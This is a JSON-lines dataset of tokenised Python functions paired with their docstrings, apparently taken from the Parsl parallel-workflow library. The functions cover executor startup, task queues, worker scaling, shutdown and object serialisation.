{"signature": "def start(self):", "body": "self.outgoing_q = zmq_pipes.TasksOutgoing(<EOL>\"<STR_LIT:127.0.0.1>\", self.interchange_port_range)<EOL>self.incoming_q = zmq_pipes.ResultsIncoming(<EOL>\"<STR_LIT:127.0.0.1>\", self.interchange_port_range)<EOL>self.is_alive = True<EOL>self._queue_management_thread = None<EOL>self._start_queue_management_thread()<EOL>self._start_local_queue_process()<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(self._queue_management_thread))<EOL>if self.provider:<EOL><INDENT>l_cmd = self.launch_cmd.format(  <EOL>task_url=self.worker_task_url,<EOL>workers_per_node=self.workers_per_node,<EOL>logdir=\"<STR_LIT>\".format(self.run_dir, self.label))<EOL>self.launch_cmd = l_cmd<EOL>logger.debug(\"<STR_LIT>\".format(self.launch_cmd))<EOL>self._scaling_enabled = self.provider.scaling_enabled<EOL>logger.debug(<EOL>\"<STR_LIT>\", self.provider)<EOL>if hasattr(self.provider, '<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>for i in range(self.provider.init_blocks):<EOL><INDENT>block = self.provider.submit(<EOL>self.launch_cmd, <NUM_LIT:1>, self.workers_per_node)<EOL>logger.debug(\"<STR_LIT>\".format(i, block))<EOL>if not block:<EOL><INDENT>raise(ScalingFailed(self.provider.label,<EOL>\"<STR_LIT>\"))<EOL><DEDENT>self.blocks.extend([block])<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(e))<EOL>raise e<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self._scaling_enabled = False<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Create the Interchange process and connect to it.", "id": "f2809:c0:m1"}
{"signature": "def _start_local_queue_process(self):", "body": "comm_q = Queue(maxsize=<NUM_LIT:10>)<EOL>self.queue_proc = Process(target=interchange.starter,<EOL>args=(comm_q,),<EOL>kwargs={\"<STR_LIT>\": (self.outgoing_q.port,<EOL>self.incoming_q.port),<EOL>\"<STR_LIT>\": self.worker_port,<EOL>\"<STR_LIT>\": self.worker_port_range<EOL>})<EOL>self.queue_proc.start()<EOL>try:<EOL><INDENT>worker_port = comm_q.get(block=True, timeout=<NUM_LIT>)<EOL>logger.debug(<EOL>\"<STR_LIT>\".format(worker_port))<EOL><DEDENT>except queue.Empty:<EOL><INDENT>logger.error(<EOL>\"<STR_LIT>\")<EOL>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self.worker_task_url = \"<STR_LIT>\".format(<EOL>self.address, worker_port)<EOL>", "docstring": "TODO: docstring", "id": "f2809:c0:m2"}
{"signature": "def _start_queue_management_thread(self):", "body": "if self._queue_management_thread is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._queue_management_thread = threading.Thread(<EOL>target=self._queue_management_worker)<EOL>self._queue_management_thread.daemon = True<EOL>self._queue_management_thread.start()<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "TODO: docstring", "id": "f2809:c0:m3"}
{"signature": "def _queue_management_worker(self):", "body": "logger.debug(\"<STR_LIT>\")<EOL>while True:<EOL><INDENT>task_id, buf = self.incoming_q.get()  <EOL>msg = deserialize_object(buf)[<NUM_LIT:0>]<EOL>task_fut = self.tasks[task_id]<EOL>logger.debug(\"<STR_LIT>\".format(task_id))<EOL>if \"<STR_LIT:result>\" in msg:<EOL><INDENT>task_fut.set_result(msg[\"<STR_LIT:result>\"])<EOL><DEDENT>elif \"<STR_LIT>\" in msg:<EOL><INDENT>pass<EOL><DEDENT>elif '<STR_LIT>' in msg:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>s, _ = deserialize_object(msg['<STR_LIT>'])<EOL>exception = ValueError(\"<STR_LIT>\".format(s))<EOL>task_fut.set_exception(exception)<EOL><DEDENT>except Exception as e:<EOL><INDENT>task_fut.set_exception(<EOL>DeserializationError(\"<STR_LIT>\".format(e)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise BadMessage(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if not self.is_alive:<EOL><INDENT>break<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\")<EOL>", "docstring": "TODO: docstring", "id": "f2809:c0:m4"}
{"signature": "def submit(self, func, *args, **kwargs):", "body": "self._task_counter += <NUM_LIT:1><EOL>task_id = self._task_counter<EOL>logger.debug(<EOL>\"<STR_LIT>\".format(func, args))<EOL>self.tasks[task_id] = Future()<EOL>fn_buf = pack_apply_message(func, args, kwargs,<EOL>buffer_threshold=<NUM_LIT> * <NUM_LIT>,<EOL>item_threshold=<NUM_LIT>)<EOL>self.outgoing_q.put(task_id, fn_buf)<EOL>return self.tasks[task_id]<EOL>", "docstring": "TODO: docstring", "id": "f2809:c0:m5"}
{"signature": "def scale_out(self, blocks=<NUM_LIT:1>):", "body": "r = []<EOL>for i in range(blocks):<EOL><INDENT>if self.provider:<EOL><INDENT>block = self.provider.submit(<EOL>self.launch_cmd, <NUM_LIT:1>, self.workers_per_node)<EOL>logger.debug(\"<STR_LIT>\".format(i, block))<EOL>if not block:<EOL><INDENT>raise(ScalingFailed(self.provider.label,<EOL>\"<STR_LIT>\"))<EOL><DEDENT>self.blocks.extend([block])<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>r = None<EOL><DEDENT><DEDENT>return r<EOL>", "docstring": "Scales out the number of active workers by the number of blocks specified.\n\n        Parameters\n        ----------\n\n        blocks : int\n             # of blocks to scale out. Default=1\n\n        Raises:\n             NotImplementedError", "id": "f2809:c0:m7"}
{"signature": "def scale_in(self, blocks):", "body": "to_kill = self.blocks[:blocks]<EOL>if self.provider:<EOL><INDENT>r = self.provider.cancel(to_kill)<EOL><DEDENT>return r<EOL>", "docstring": "Scale in the number of active blocks by specified amount.\n\n        The scale in method here is very rude. It doesn't give the workers\n        the opportunity to finish current tasks or cleanup. This is tracked\n        in issue #530\n\n        Raises:\n             NotImplementedError", "id": "f2809:c0:m8"}
{"signature": "def status(self):", "body": "status = []<EOL>if self.provider:<EOL><INDENT>status = self.provider.status(self.blocks)<EOL><DEDENT>return status<EOL>", "docstring": "Return status of all blocks.", "id": "f2809:c0:m9"}
{"signature": "def shutdown(self, hub=True, targets='<STR_LIT:all>', block=False):", "body": "logger.warning(\"<STR_LIT>\")<EOL>self.queue_proc.terminate()<EOL>logger.warning(\"<STR_LIT>\")<EOL>return True<EOL>", "docstring": "Shutdown the executor, including all workers and controllers.\n\n        This is not implemented.\n\n        Kwargs:\n            - hub (Bool): Whether the hub should be shutdown, Default:True,\n            - targets (list of ints| 'all'): List of block id's to kill, Default:'all'\n            - block (Bool): To block for confirmations or not\n\n        Raises:\n             NotImplementedError", "id": "f2809:c0:m10"}
{"signature": "@abstractmethod<EOL><INDENT>def start(self, *args, **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Start the executor.\n\n        Any spin-up operations (for example: starting thread pools) should be performed here.", "id": "f2810:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def submit(self, *args, **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Submit.\n\n        We haven't yet decided on what the args to this can be,\n        whether it should just be func, args, kwargs or be the partially evaluated\n        fn", "id": "f2810:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def scale_out(self, *args, **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Scale out method.\n\n        We should have the scale out method simply take resource object\n        which will have the scaling methods, scale_out itself should be a coroutine, since\n        scaling tasks can be slow.", "id": "f2810:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def scale_in(self, count):<DEDENT>", "body": "pass<EOL>", "docstring": "Scale in method.\n\n        Cause the executor to reduce the number of blocks by count.\n\n        We should have the scale in method simply take resource object\n        which will have the scaling methods, scale_in itself should be a coroutine, since\n        scaling tasks can be slow.", "id": "f2810:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def shutdown(self, *args, **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Shutdown the executor.\n\n        This includes all attached resources such as workers and controllers.", "id": "f2810:c0:m4"}
{"signature": "@abstractproperty<EOL><INDENT>def scaling_enabled(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Specify if scaling is enabled.\n\n        The callers of ParslExecutors need to differentiate between Executors\n        and Executors wrapped in a resource provider", "id": "f2810:c0:m5"}
{"signature": "@property<EOL><INDENT>def run_dir(self):<DEDENT>", "body": "return self._run_dir<EOL>", "docstring": "Path to the run directory.", "id": "f2810:c0:m6"}
{"signature": "def runner(incoming_q, outgoing_q):", "body": "logger.debug(\"<STR_LIT>\")<EOL>def execute_task(bufs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>user_ns = locals()<EOL>user_ns.update({'<STR_LIT>': __builtins__})<EOL>f, args, kwargs = unpack_apply_message(bufs, user_ns, copy=False)<EOL>fname = getattr(f, '<STR_LIT>', '<STR_LIT:f>')<EOL>prefix = \"<STR_LIT>\"<EOL>fname = prefix + \"<STR_LIT:f>\"<EOL>argname = prefix + \"<STR_LIT:args>\"<EOL>kwargname = prefix + \"<STR_LIT>\"<EOL>resultname = prefix + \"<STR_LIT:result>\"<EOL>user_ns.update({fname: f,<EOL>argname: args,<EOL>kwargname: kwargs,<EOL>resultname: resultname})<EOL>code = \"<STR_LIT>\".format(resultname, fname,<EOL>argname, kwargname)<EOL>try:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(code))<EOL>exec(code, user_ns, user_ns)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(e))<EOL>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(user_ns.get(resultname)))<EOL>return user_ns.get(resultname)<EOL><DEDENT><DEDENT>while True:<EOL><INDENT>try:<EOL><INDENT>msg = incoming_q.get(block=True, timeout=<NUM_LIT:10>)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e))<EOL>try:<EOL><INDENT>outgoing_q.put(None)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>break<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e))<EOL><DEDENT>else:<EOL><INDENT>if not msg:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>outgoing_q.put(None)<EOL>break<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(msg[\"<STR_LIT>\"]))<EOL>try:<EOL><INDENT>response_obj = execute_task(msg['<STR_LIT>'])<EOL>response = {\"<STR_LIT>\": msg[\"<STR_LIT>\"],<EOL>\"<STR_LIT:result>\": serialize_object(response_obj)}<EOL>logger.debug(\"<STR_LIT>\".format(<EOL>deserialize_object(response[\"<STR_LIT:result>\"])))<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e))<EOL>response = {\"<STR_LIT>\": msg[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": serialize_object(e)}<EOL><DEDENT>outgoing_q.put(response)<EOL><DEDENT><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "This is a function that mocks the Swift-T side.\n\n    It listens on the the incoming_q for tasks and posts returns on the outgoing_q.\n\n    Args:\n         - incoming_q (Queue object) : The queue to listen on\n         - outgoing_q (Queue object) : Queue to post results on\n\n    The messages posted on the incoming_q will be of the form :\n\n    .. code:: python\n\n       {\n          \"task_id\" : <uuid.uuid4 string>,\n          \"buffer\"  : serialized buffer containing the fn, args and kwargs\n       }\n\n    If ``None`` is received, the runner will exit.\n\n    Response messages should be of the form:\n\n    .. code:: python\n\n       {\n          \"task_id\" : <uuid.uuid4 string>,\n          \"result\"  : serialized buffer containing result\n          \"exception\" : serialized exception object\n       }\n\n    On exiting the runner will post ``None`` to the outgoing_q", "id": "f2812:m0"}
{"signature": "def __init__(self, label='<STR_LIT>', storage_access=None, working_dir=None, managed=True):", "body": "logger.debug(\"<STR_LIT>\")<EOL>self.label = label<EOL>self.storage_access = storage_access if storage_access is not None else []<EOL>if len(self.storage_access) > <NUM_LIT:1>:<EOL><INDENT>raise ConfigurationError('<STR_LIT>')<EOL><DEDENT>self.working_dir = working_dir<EOL>self.managed = managed<EOL>", "docstring": "Initialize the thread pool.\n\n        Trying to implement the emews model.", "id": "f2812:c0:m0"}
{"signature": "def _queue_management_worker(self):", "body": "while True:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>msg = self.incoming_q.get(block=True, timeout=<NUM_LIT:1>)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>pass<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e.errno, e))<EOL>return<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e))<EOL><DEDENT>else:<EOL><INDENT>if msg is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(msg))<EOL>task_fut = self.tasks[msg['<STR_LIT>']]<EOL>if '<STR_LIT:result>' in msg:<EOL><INDENT>result, _ = deserialize_object(msg['<STR_LIT:result>'])<EOL>task_fut.set_result(result)<EOL><DEDENT>elif '<STR_LIT>' in msg:<EOL><INDENT>exception, _ = deserialize_object(msg['<STR_LIT>'])<EOL>task_fut.set_exception(exception)<EOL><DEDENT><DEDENT><DEDENT>if not self.is_alive:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Listen to the queue for task status messages and handle them.\n\n        Depending on the message, tasks will be updated with results, exceptions,\n        or updates. It expects the following messages:\n\n        .. code:: python\n\n            {\n               \"task_id\" : <task_id>\n               \"result\"  : serialized result object, if task succeeded\n               ... more tags could be added later\n            }\n\n            {\n               \"task_id\" : <task_id>\n               \"exception\" : serialized exception object, on failure\n            }\n\n        We do not support these yet, but they could be added easily.\n\n        .. code:: python\n\n            {\n               \"task_id\" : <task_id>\n               \"cpu_stat\" : <>\n               \"mem_stat\" : <>\n               \"io_stat\"  : <>\n               \"started\"  : tstamp\n            }\n\n        The `None` message is a die request.", "id": "f2812:c0:m2"}
{"signature": "def weakref_cb(self, q=None):", "body": "q.put(None)<EOL>", "docstring": "We do not use this yet.", "id": "f2812:c0:m3"}
{"signature": "def _start_queue_management_thread(self):", "body": "logging.debug(\"<STR_LIT>\", \"<STR_LIT:*>\" * <NUM_LIT>)<EOL>if self._queue_management_thread is None:<EOL><INDENT>logging.debug(\"<STR_LIT>\")<EOL>self._queue_management_thread = threading.Thread(target=self._queue_management_worker)<EOL>self._queue_management_thread.daemon = True<EOL>self._queue_management_thread.start()<EOL><DEDENT>else:<EOL><INDENT>logging.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Method to start the management thread as a daemon.\n\n        Checks if a thread already exists, then starts it.\n        Could be used later as a restart if the management thread dies.", "id": "f2812:c0:m4"}
{"signature": "def shutdown(self):", "body": "self.is_alive = False<EOL>logging.debug(\"<STR_LIT>\")<EOL>self.incoming_q.put(None)  <EOL>self._queue_management_thread.join()  <EOL>logging.debug(\"<STR_LIT>\")<EOL>self.worker.join()<EOL>return True<EOL>", "docstring": "Shutdown method, to kill the threads and workers.", "id": "f2812:c0:m5"}
{"signature": "def submit(self, func, *args, **kwargs):", "body": "task_id = uuid.uuid4()<EOL>logger.debug(\"<STR_LIT>\".format(func, args))<EOL>self.tasks[task_id] = Future()<EOL>fn_buf = pack_apply_message(func, args, kwargs,<EOL>buffer_threshold=<NUM_LIT> * <NUM_LIT>,<EOL>item_threshold=<NUM_LIT>)<EOL>msg = {\"<STR_LIT>\": task_id,<EOL>\"<STR_LIT>\": fn_buf}<EOL>self.outgoing_q.put(msg)<EOL>return self.tasks[task_id]<EOL>", "docstring": "Submits work to the the outgoing_q.\n\n        The outgoing_q is an external process listens on this\n        queue for new work. This method is simply pass through and behaves like a\n        submit call as described here `Python docs: <https://docs.python.org/3/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor>`_\n\n        Args:\n            - func (callable) : Callable function\n            - *args (list) : List of arbitrary positional arguments.\n\n        Kwargs:\n            - **kwargs (dict) : A dictionary of arbitrary keyword args for func.\n\n        Returns:\n              Future", "id": "f2812:c0:m6"}
{"signature": "def scale_out(self, workers=<NUM_LIT:1>):", "body": "raise NotImplementedError<EOL>", "docstring": "Scales out the number of active workers by 1.\n\n        This method is not implemented for threads and will raise the error if called.\n        This would be nice to have, and can be done\n\n        Raises:\n             NotImplementedError", "id": "f2812:c0:m8"}
{"signature": "def scale_in(self, workers):", "body": "raise NotImplementedError<EOL>", "docstring": "Scale in the number of active blocks by specified amount.\n\n        This method is not implemented for turbine and will raise an error if called.\n\n        Raises:\n             NotImplementedError", "id": "f2812:c0:m9"}
{"signature": "def compose_launch_cmd(self, filepath, engine_dir, container_image):", "body": "self.engine_file = os.path.expanduser(filepath)<EOL>uid = str(uuid.uuid4())<EOL>engine_json = None<EOL>try:<EOL><INDENT>with open(self.engine_file, '<STR_LIT:r>') as f:<EOL><INDENT>engine_json = f.read()<EOL><DEDENT><DEDENT>except OSError as e:<EOL><INDENT>logger.error(\"<STR_LIT>\", self.engine_file)<EOL>raise e<EOL><DEDENT>return", "docstring": "Reads the json contents from filepath and uses that to compose the engine launch command.\n\n        Args:\n            filepath: Path to the engine file\n            engine_dir: CWD for the engines", "id": "f2813:c0:m2"}
{"signature": "def compose_containerized_launch_cmd(self, filepath, engine_dir, container_image):", "body": "self.engine_file = os.path.expanduser(filepath)<EOL>uid = str(uuid.uuid4())<EOL>engine_json = None<EOL>try:<EOL><INDENT>with open(self.engine_file, '<STR_LIT:r>') as f:<EOL><INDENT>engine_json = f.read()<EOL><DEDENT><DEDENT>except OSError as e:<EOL><INDENT>logger.error(\"<STR_LIT>\", self.engine_file)<EOL>raise e<EOL><DEDENT>return", "docstring": "Reads the json contents from filepath and uses that to compose the engine launch command.\n\n        Notes: Add this to the ipengine launch for debug logs :\n                          --log-to-file --debug\n        Args:\n            filepath (str): Path to the engine file\n            engine_dir (str): CWD for the engines .\n            container_image (str): The container to be used to launch workers", "id": "f2813:c0:m3"}
{"signature": "def submit(self, *args, **kwargs):", "body": "return self.lb_view.apply_async(*args, **kwargs)<EOL>", "docstring": "Submits work to the thread pool.\n\n        This method is simply pass through and behaves like a submit call as described\n        here `Python docs: <https://docs.python.org/3/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor>`_\n\n        Returns:\n              Future", "id": "f2813:c0:m7"}
{"signature": "def scale_out(self, blocks=<NUM_LIT:1>):", "body": "r = []<EOL>for i in range(blocks):<EOL><INDENT>if self.provider:<EOL><INDENT>block = self.provider.submit(self.launch_cmd, <NUM_LIT:1>, self.workers_per_node)<EOL>logger.debug(\"<STR_LIT>\".format(i, block))<EOL>if not block:<EOL><INDENT>raise(ScalingFailed(self.provider.label,<EOL>\"<STR_LIT>\"))<EOL><DEDENT>self.engines.extend([block])<EOL>r.extend([block])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>r = None<EOL><DEDENT>return r<EOL>", "docstring": "Scales out the number of active workers by 1.\n\n        This method is notImplemented for threads and will raise the error if called.\n\n        Parameters:\n            blocks : int\n               Number of blocks to be provisioned.", "id": "f2813:c0:m8"}
{"signature": "def scale_in(self, blocks):", "body": "status = dict(zip(self.engines, self.provider.status(self.engines)))<EOL>to_kill = [engine for engine in status if status[engine] == \"<STR_LIT>\"][:blocks]<EOL>if self.provider:<EOL><INDENT>r = self.provider.cancel(to_kill)<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>r = None<EOL><DEDENT>return r<EOL>", "docstring": "Scale in the number of active blocks by the specified number.", "id": "f2813:c0:m9"}
{"signature": "def status(self):", "body": "if self.provider:<EOL><INDENT>status = self.provider.status(self.engines)<EOL><DEDENT>else:<EOL><INDENT>status = []<EOL><DEDENT>return status<EOL>", "docstring": "Returns the status of the executor via probing the execution providers.", "id": "f2813:c0:m10"}
{"signature": "def shutdown(self, hub=True, targets='<STR_LIT:all>', block=False):", "body": "if self.controller:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.controller.close()<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>return True<EOL>", "docstring": "Shutdown the executor, including all workers and controllers.\n\n        The interface documentation for IPP is `here <http://ipyparallel.readthedocs.io/en/latest/api/ipyparallel.html#ipyparallel.Client.shutdown>`_\n\n        Kwargs:\n            - hub (Bool): Whether the hub should be shutdown, Default:True,\n            - targets (list of ints| 'all'): List of engine id's to kill, Default:'all'\n            - block (Bool): To block for confirmations or not\n\n        Raises:\n             NotImplementedError", "id": "f2813:c0:m11"}
{"signature": "def _nbytes(buf):", "body": "if isinstance(buf, memoryview):<EOL><INDENT>if PY3:<EOL><INDENT>return buf.nbytes<EOL><DEDENT>else:<EOL><INDENT>size = buf.itemsize<EOL>for dim in buf.shape:<EOL><INDENT>size *= dim<EOL><DEDENT>return size<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return len(buf)<EOL><DEDENT>", "docstring": "Return byte-size of a memoryview or buffer.", "id": "f2814:m0"}
{"signature": "def _extract_buffers(obj, threshold=MAX_BYTES):", "body": "buffers = []<EOL>if isinstance(obj, CannedObject) and obj.buffers:<EOL><INDENT>for i, buf in enumerate(obj.buffers):<EOL><INDENT>nbytes = _nbytes(buf)<EOL>if nbytes > threshold:<EOL><INDENT>obj.buffers[i] = None<EOL>buffers.append(buf)<EOL><DEDENT>elif isinstance(buf, memoryview):<EOL><INDENT>obj.buffers[i] = buf.tobytes()<EOL><DEDENT>elif isinstance(buf, buffer):<EOL><INDENT>obj.buffers[i] = bytes(buf)<EOL><DEDENT><DEDENT><DEDENT>return buffers<EOL>", "docstring": "Extract buffers larger than a certain threshold.", "id": "f2814:m1"}
{"signature": "def _restore_buffers(obj, buffers):", "body": "if isinstance(obj, CannedObject) and obj.buffers:<EOL><INDENT>for i, buf in enumerate(obj.buffers):<EOL><INDENT>if buf is None:<EOL><INDENT>obj.buffers[i] = buffers.pop(<NUM_LIT:0>)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Restore extracted buffers.", "id": "f2814:m2"}
{"signature": "def serialize_object(obj, buffer_threshold=MAX_BYTES, item_threshold=MAX_ITEMS):", "body": "buffers = []<EOL>if istype(obj, sequence_types) and len(obj) < item_threshold:<EOL><INDENT>cobj = can_sequence(obj)<EOL>for c in cobj:<EOL><INDENT>buffers.extend(_extract_buffers(c, buffer_threshold))<EOL><DEDENT><DEDENT>elif istype(obj, dict) and len(obj) < item_threshold:<EOL><INDENT>cobj = {}<EOL>for k in sorted(obj):<EOL><INDENT>c = can(obj[k])<EOL>buffers.extend(_extract_buffers(c, buffer_threshold))<EOL>cobj[k] = c<EOL><DEDENT><DEDENT>else:<EOL><INDENT>cobj = can(obj)<EOL>buffers.extend(_extract_buffers(cobj, buffer_threshold))<EOL><DEDENT>buffers.insert(<NUM_LIT:0>, pickle.dumps(cobj, PICKLE_PROTOCOL))<EOL>return buffers<EOL>", "docstring": "Serialize an object into a list of sendable buffers.\n\n    Parameters\n    ----------\n\n    obj : object\n        The object to be serialized\n    buffer_threshold : int\n        The threshold (in bytes) for pulling out data buffers\n        to avoid pickling them.\n    item_threshold : int\n        The maximum number of items over which canning will iterate.\n        Containers (lists, dicts) larger than this will be pickled without\n        introspection.\n\n    Returns\n    -------\n    [bufs] : list of buffers representing the serialized object.", "id": "f2814:m3"}
{"signature": "def deserialize_object(buffers, g=None):", "body": "bufs = list(buffers)<EOL>pobj = buffer_to_bytes_py2(bufs.pop(<NUM_LIT:0>))<EOL>canned = pickle.loads(pobj)<EOL>if istype(canned, sequence_types) and len(canned) < MAX_ITEMS:<EOL><INDENT>for c in canned:<EOL><INDENT>_restore_buffers(c, bufs)<EOL><DEDENT>newobj = uncan_sequence(canned, g)<EOL><DEDENT>elif istype(canned, dict) and len(canned) < MAX_ITEMS:<EOL><INDENT>newobj = {}<EOL>for k in sorted(canned):<EOL><INDENT>c = canned[k]<EOL>_restore_buffers(c, bufs)<EOL>newobj[k] = uncan(c, g)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>_restore_buffers(canned, bufs)<EOL>newobj = uncan(canned, g)<EOL><DEDENT>return newobj, bufs<EOL>", "docstring": "Reconstruct an object serialized by serialize_object from data buffers.\n\n    Parameters\n    ----------\n\n    bufs : list of buffers/bytes\n\n    g : globals to be used when uncanning\n\n    Returns\n    -------\n\n    (newobj, bufs) : unpacked object, and the list of remaining unused buffers.", "id": "f2814:m4"}
{"signature": "def pack_apply_message(f, args, kwargs, buffer_threshold=MAX_BYTES, item_threshold=MAX_ITEMS):", "body": "arg_bufs = list(chain.from_iterable(<EOL>serialize_object(arg, buffer_threshold, item_threshold) for arg in args))<EOL>kw_keys = sorted(kwargs.keys())<EOL>kwarg_bufs = list(chain.from_iterable(<EOL>serialize_object(kwargs[key], buffer_threshold, item_threshold) for key in kw_keys))<EOL>info = dict(nargs=len(args), narg_bufs=len(arg_bufs), kw_keys=kw_keys)<EOL>msg = [pickle.dumps(can(f), PICKLE_PROTOCOL)]<EOL>msg.append(pickle.dumps(info, PICKLE_PROTOCOL))<EOL>msg.extend(arg_bufs)<EOL>msg.extend(kwarg_bufs)<EOL>return msg<EOL>", "docstring": "Pack up a function, args, and kwargs to be sent over the wire.\n\n    Each element of args/kwargs will be canned for special treatment,\n    but inspection will not go any deeper than that.\n\n    Any object whose data is larger than `threshold`  will not have their data copied\n    (only numpy arrays and bytes/buffers support zero-copy)\n\n    Message will be a list of bytes/buffers of the format:\n\n    [ cf, pinfo, <arg_bufs>, <kwarg_bufs> ]\n\n    With length at least two + len(args) + len(kwargs)", "id": "f2814:m5"}
{"signature": "def unpack_apply_message(bufs, g=None, copy=True):", "body": "bufs = list(bufs)  <EOL>assert len(bufs) >= <NUM_LIT:2>, \"<STR_LIT>\"<EOL>pf = buffer_to_bytes_py2(bufs.pop(<NUM_LIT:0>))<EOL>f = uncan(pickle.loads(pf), g)<EOL>pinfo = buffer_to_bytes_py2(bufs.pop(<NUM_LIT:0>))<EOL>info = pickle.loads(pinfo)<EOL>arg_bufs, kwarg_bufs = bufs[:info['<STR_LIT>']], bufs[info['<STR_LIT>']:]<EOL>args = []<EOL>for i in range(info['<STR_LIT>']):<EOL><INDENT>arg, arg_bufs = deserialize_object(arg_bufs, g)<EOL>args.append(arg)<EOL><DEDENT>args = tuple(args)<EOL>assert not arg_bufs, \"<STR_LIT>\"<EOL>kwargs = {}<EOL>for key in info['<STR_LIT>']:<EOL><INDENT>kwarg, kwarg_bufs = deserialize_object(kwarg_bufs, g)<EOL>kwargs[key] = kwarg<EOL><DEDENT>assert not kwarg_bufs, \"<STR_LIT>\"<EOL>return f, args, kwargs<EOL>", "docstring": "Unpack f,args,kwargs from buffers packed by pack_apply_message().\n\n    Returns: original f,args,kwargs", "id": "f2814:m6"}
{"signature": "def _get_cell_type(a=None):", "body": "def inner():<EOL><INDENT>return a<EOL><DEDENT>return type(py3compat.get_closure(inner)[<NUM_LIT:0>])<EOL>", "docstring": "The type of a closure cell doesn't seem to be importable, so just create one.", "id": "f2817:m0"}
{"signature": "def interactive(f):", "body": "<EOL>if isinstance(f, FunctionType):<EOL><INDENT>mainmod = __import__('<STR_LIT:__main__>')<EOL>f = FunctionType(f.__code__, mainmod.__dict__,<EOL>f.__name__, f.__defaults__,<EOL>)<EOL><DEDENT>f.__module__ = '<STR_LIT:__main__>'<EOL>return f<EOL>", "docstring": "Decorator for making functions appear as interactively defined.\n\n    This results in the function being linked to the user_ns as globals()\n    instead of the module globals().", "id": "f2817:m1"}
{"signature": "def use_dill():", "body": "import dill<EOL>from . import serialize<EOL>serialize.pickle = dill<EOL>can_map.pop(FunctionType, None)<EOL>", "docstring": "Use dill to expand serialization support.\n\n    Adds support for object methods and closures to serialization.", "id": "f2817:m2"}
{"signature": "def use_cloudpickle():", "body": "import cloudpickle<EOL>from . import serialize<EOL>serialize.pickle = cloudpickle<EOL>can_map.pop(FunctionType, None)<EOL>", "docstring": "Use cloudpickle to expand serialization support.\n\n    Adds support for object methods and closures to serialization.", "id": "f2817:m3"}
{"signature": "def use_pickle():", "body": "from . import serialize<EOL>serialize.pickle = serialize._stdlib_pickle<EOL>can_map[FunctionType] = _original_can_map[FunctionType]<EOL>", "docstring": "Revert to using stdlib pickle.\n\n    Reverts custom serialization enabled by use_dill|cloudpickle.", "id": "f2817:m4"}
{"signature": "def _import_mapping(mapping, original=None):", "body": "<EOL>for key, value in list(mapping.items()):<EOL><INDENT>if isinstance(key, string_types):<EOL><INDENT>try:<EOL><INDENT>cls = import_item(key)<EOL><DEDENT>except Exception:<EOL><INDENT>if original and key not in original:<EOL><INDENT>print(\"<STR_LIT>\", key, exc_info=True)<EOL><DEDENT>mapping.pop(key)<EOL><DEDENT>else:<EOL><INDENT>mapping[cls] = mapping.pop(key)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Import any string-keys in a type mapping.", "id": "f2817:m5"}
